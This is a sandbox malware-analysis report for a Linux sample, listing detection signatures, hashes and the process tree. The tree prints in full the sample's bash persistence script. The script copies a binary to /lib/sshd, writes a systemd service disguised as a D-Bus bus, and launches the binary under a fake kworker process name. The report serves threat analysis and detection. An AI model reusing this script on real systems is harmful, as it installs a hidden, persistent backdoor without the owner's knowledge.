Overview

overview

6

Static

static

1

watching

ubuntu-18.04-amd64

6

Analysis

  • max time kernel
    0s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260126-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/04/2026, 00:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    watching
  • Size 989KB
  • Sample260428-atjcase17k
  • SHA256 9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
discoverypersistenceprivilege_escalation

Malware Config

Signatures

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads runtime system information 27 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/watching
    /tmp/watching
    1⤵
      PID:1520
    • /bin/bash
      /tmp/watching -c "exec '/tmp/watching' \"\$@\"" /tmp/watching
      1⤵
        PID:1520
      • /tmp/watching
        /tmp/watching
        1⤵
          PID:1520
        • /bin/bash
          /tmp/watching -c " #!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin set -euo pipefail LOCKFILE=\"/var/run/.sys_udev_lock\" exec 200>\"\$LOCKFILE\" || exit 0 flock -n 200 || exit 0 SERVICE_NAME=\"systemd-udev-sessions.service\" SERVICE_PATH=\"/etc/systemd/system/\$SERVICE_NAME\" if systemctl is-active --quiet \"\$SERVICE_NAME\"; then # Există și rulează -> nu mai facem NIMIC exit 0 fi safe_copy() { local src=\"\$1\" local dest=\"\$2\" [[ -f \"\$dest\" ]] || cp \"\$src\" \"\$dest\" >/dev/null 2>&1 || true } safe_copy /usr/bin/nvme /lib/sshd safe_copy /var/lib/mlocate/mlocated.db /lib/os-releases safe_copy /var/lib/mlocate/mlocated.db /lib/grub.log if [[ ! -f \"\$SERVICE_PATH\" ]]; then cat > \"\$SERVICE_PATH\" <<'EOF' [Unit] Description=D-Bus System Connection Bus After=network.target [Service] Type=simple Restart=no WorkingDirectory=/root ExecStart=/bin/bash -c \"GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'\" [Install] WantedBy=multi-user.target EOF fi systemctl daemon-reload >/dev/null 2>&1 if ! systemctl is-active --quiet \"\$SERVICE_NAME\"; then systemctl enable --now \"\$SERVICE_NAME\" >/dev/null 2>&1 || true fi exit 0 " /tmp/watching
          1⤵
          • Modifies systemd
          • Writes file to tmp directory
          PID:1520
          • /usr/bin/flock
            flock -n 200
            2⤵
              PID:1521
            • /bin/systemctl
              systemctl is-active --quiet systemd-udev-sessions.service
              2⤵
              • Reads runtime system information
              PID:1522
            • /bin/cp
              cp /usr/bin/nvme /lib/sshd
              2⤵
              • Reads runtime system information
              PID:1523
            • /bin/cp
              cp /var/lib/mlocate/mlocated.db /lib/os-releases
              2⤵
              • Reads runtime system information
              PID:1524
            • /bin/cp
              cp /var/lib/mlocate/mlocated.db /lib/grub.log
              2⤵
              • Reads runtime system information
              PID:1525
            • /bin/cat
              cat
              2⤵
                PID:1526
              • /bin/systemctl
                systemctl daemon-reload
                2⤵
                • Reads runtime system information
                PID:1527
              • /bin/systemctl
                systemctl is-active --quiet systemd-udev-sessions.service
                2⤵
                • Reads runtime system information
                PID:1551
              • /bin/systemctl
                systemctl enable --now systemd-udev-sessions.service
                2⤵
                • Reads runtime system information
                PID:1552

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  sh-thd.pvKG5T
                  • Path /tmp/sh-thd.pvKG5T
                  • Size 257B
                  • SHA256 a5da7d059ba1be55f5d6c80205d31fdc1656c02a5e9e4965a75a889848a51a07
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download